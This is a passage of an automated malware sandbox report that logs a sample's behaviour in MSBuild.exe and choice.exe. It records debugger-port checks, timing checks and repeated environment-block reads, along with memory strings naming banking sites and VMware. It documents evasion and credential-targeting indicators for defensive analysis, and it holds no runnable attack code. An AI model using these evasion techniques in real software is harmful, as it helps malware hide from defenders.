                  Source: choice.exe, 0000000B.00000002.2701139425.000000000809D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ers - NDCDYNVMware20,11696494690z
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeAPI call chain: ExitProcess graph end nodegraph_12-5223
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD1C0 rdtsc 8_2_013CD1C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00417B53 LdrLoadDll,8_2_00417B53
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B136 mov eax, dword ptr fs:[00000030h]8_2_0134B136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B136 mov eax, dword ptr fs:[00000030h]8_2_0134B136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B136 mov eax, dword ptr fs:[00000030h]8_2_0134B136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B136 mov eax, dword ptr fs:[00000030h]8_2_0134B136
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351131 mov eax, dword ptr fs:[00000030h]8_2_01351131
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351131 mov eax, dword ptr fs:[00000030h]8_2_01351131
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425152 mov eax, dword ptr fs:[00000030h]8_2_01425152
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01380124 mov eax, dword ptr fs:[00000030h]8_2_01380124
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FA118 mov ecx, dword ptr fs:[00000030h]8_2_013FA118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FA118 mov eax, dword ptr fs:[00000030h]8_2_013FA118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FA118 mov eax, dword ptr fs:[00000030h]8_2_013FA118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FA118 mov eax, dword ptr fs:[00000030h]8_2_013FA118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F172 mov eax, dword ptr fs:[00000030h]8_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E9179 mov eax, dword ptr fs:[00000030h]8_2_013E9179
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01410115 mov eax, dword ptr fs:[00000030h]8_2_01410115
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01356154 mov eax, dword ptr fs:[00000030h]8_2_01356154
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01356154 mov eax, dword ptr fs:[00000030h]8_2_01356154
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134C156 mov eax, dword ptr fs:[00000030h]8_2_0134C156
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E8158 mov eax, dword ptr fs:[00000030h]8_2_013E8158
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01357152 mov eax, dword ptr fs:[00000030h]8_2_01357152
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E4144 mov eax, dword ptr fs:[00000030h]8_2_013E4144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E4144 mov eax, dword ptr fs:[00000030h]8_2_013E4144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E4144 mov ecx, dword ptr fs:[00000030h]8_2_013E4144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E4144 mov eax, dword ptr fs:[00000030h]8_2_013E4144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E4144 mov eax, dword ptr fs:[00000030h]8_2_013E4144
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349148 mov eax, dword ptr fs:[00000030h]8_2_01349148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349148 mov eax, dword ptr fs:[00000030h]8_2_01349148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349148 mov eax, dword ptr fs:[00000030h]8_2_01349148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01349148 mov eax, dword ptr fs:[00000030h]8_2_01349148
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014161C3 mov eax, dword ptr fs:[00000030h]8_2_014161C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014161C3 mov eax, dword ptr fs:[00000030h]8_2_014161C3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136B1B0 mov eax, dword ptr fs:[00000030h]8_2_0136B1B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014251CB mov eax, dword ptr fs:[00000030h]8_2_014251CB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D019F mov eax, dword ptr fs:[00000030h]8_2_013D019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D019F mov eax, dword ptr fs:[00000030h]8_2_013D019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D019F mov eax, dword ptr fs:[00000030h]8_2_013D019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D019F mov eax, dword ptr fs:[00000030h]8_2_013D019F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A197 mov eax, dword ptr fs:[00000030h]8_2_0134A197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A197 mov eax, dword ptr fs:[00000030h]8_2_0134A197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A197 mov eax, dword ptr fs:[00000030h]8_2_0134A197
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014261E5 mov eax, dword ptr fs:[00000030h]8_2_014261E5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A7190 mov eax, dword ptr fs:[00000030h]8_2_013A7190
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01390185 mov eax, dword ptr fs:[00000030h]8_2_01390185
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013801F8 mov eax, dword ptr fs:[00000030h]8_2_013801F8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013F71F9 mov esi, dword ptr fs:[00000030h]8_2_013F71F9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140C188 mov eax, dword ptr fs:[00000030h]8_2_0140C188
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140C188 mov eax, dword ptr fs:[00000030h]8_2_0140C188
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013751EF mov eax, dword ptr fs:[00000030h]8_2_013751EF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013551ED mov eax, dword ptr fs:[00000030h]8_2_013551ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014011A4 mov eax, dword ptr fs:[00000030h]8_2_014011A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014011A4 mov eax, dword ptr fs:[00000030h]8_2_014011A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014011A4 mov eax, dword ptr fs:[00000030h]8_2_014011A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014011A4 mov eax, dword ptr fs:[00000030h]8_2_014011A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138D1D0 mov eax, dword ptr fs:[00000030h]8_2_0138D1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138D1D0 mov ecx, dword ptr fs:[00000030h]8_2_0138D1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CE1D0 mov eax, dword ptr fs:[00000030h]8_2_013CE1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CE1D0 mov eax, dword ptr fs:[00000030h]8_2_013CE1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CE1D0 mov ecx, dword ptr fs:[00000030h]8_2_013CE1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CE1D0 mov eax, dword ptr fs:[00000030h]8_2_013CE1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CE1D0 mov eax, dword ptr fs:[00000030h]8_2_013CE1D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A020 mov eax, dword ptr fs:[00000030h]8_2_0134A020
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134C020 mov eax, dword ptr fs:[00000030h]8_2_0134C020
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E016 mov eax, dword ptr fs:[00000030h]8_2_0136E016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E016 mov eax, dword ptr fs:[00000030h]8_2_0136E016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E016 mov eax, dword ptr fs:[00000030h]8_2_0136E016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E016 mov eax, dword ptr fs:[00000030h]8_2_0136E016
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425060 mov eax, dword ptr fs:[00000030h]8_2_01425060
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D4000 mov ecx, dword ptr fs:[00000030h]8_2_013D4000
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137C073 mov eax, dword ptr fs:[00000030h]8_2_0137C073
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov ecx, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361070 mov eax, dword ptr fs:[00000030h]8_2_01361070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD070 mov ecx, dword ptr fs:[00000030h]8_2_013CD070
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D106E mov eax, dword ptr fs:[00000030h]8_2_013D106E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013F705E mov ebx, dword ptr fs:[00000030h]8_2_013F705E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013F705E mov eax, dword ptr fs:[00000030h]8_2_013F705E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01352050 mov eax, dword ptr fs:[00000030h]8_2_01352050
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B052 mov eax, dword ptr fs:[00000030h]8_2_0137B052
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6050 mov eax, dword ptr fs:[00000030h]8_2_013D6050
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141903E mov eax, dword ptr fs:[00000030h]8_2_0141903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141903E mov eax, dword ptr fs:[00000030h]8_2_0141903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141903E mov eax, dword ptr fs:[00000030h]8_2_0141903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141903E mov eax, dword ptr fs:[00000030h]8_2_0141903E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E80A8 mov eax, dword ptr fs:[00000030h]8_2_013E80A8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014250D9 mov eax, dword ptr fs:[00000030h]8_2_014250D9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01355096 mov eax, dword ptr fs:[00000030h]8_2_01355096
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138909C mov eax, dword ptr fs:[00000030h]8_2_0138909C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137D090 mov eax, dword ptr fs:[00000030h]8_2_0137D090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137D090 mov eax, dword ptr fs:[00000030h]8_2_0137D090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134D08D mov eax, dword ptr fs:[00000030h]8_2_0134D08D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135208A mov eax, dword ptr fs:[00000030h]8_2_0135208A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134C0F0 mov eax, dword ptr fs:[00000030h]8_2_0134C0F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013920F0 mov ecx, dword ptr fs:[00000030h]8_2_013920F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013750E4 mov eax, dword ptr fs:[00000030h]8_2_013750E4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013750E4 mov ecx, dword ptr fs:[00000030h]8_2_013750E4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134A0E3 mov ecx, dword ptr fs:[00000030h]8_2_0134A0E3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013580E9 mov eax, dword ptr fs:[00000030h]8_2_013580E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D60E0 mov eax, dword ptr fs:[00000030h]8_2_013D60E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D20DE mov eax, dword ptr fs:[00000030h]8_2_013D20DE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013790DB mov eax, dword ptr fs:[00000030h]8_2_013790DB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov ecx, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov ecx, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov ecx, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov ecx, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C0 mov eax, dword ptr fs:[00000030h]8_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014160B8 mov eax, dword ptr fs:[00000030h]8_2_014160B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014160B8 mov ecx, dword ptr fs:[00000030h]8_2_014160B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD0C0 mov eax, dword ptr fs:[00000030h]8_2_013CD0C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD0C0 mov eax, dword ptr fs:[00000030h]8_2_013CD0C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425341 mov eax, dword ptr fs:[00000030h]8_2_01425341
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01347330 mov eax, dword ptr fs:[00000030h]8_2_01347330
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141A352 mov eax, dword ptr fs:[00000030h]8_2_0141A352
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F32A mov eax, dword ptr fs:[00000030h]8_2_0137F32A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134C310 mov ecx, dword ptr fs:[00000030h]8_2_0134C310
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F367 mov eax, dword ptr fs:[00000030h]8_2_0140F367
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01370310 mov ecx, dword ptr fs:[00000030h]8_2_01370310
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A30B mov eax, dword ptr fs:[00000030h]8_2_0138A30B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A30B mov eax, dword ptr fs:[00000030h]8_2_0138A30B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A30B mov eax, dword ptr fs:[00000030h]8_2_0138A30B
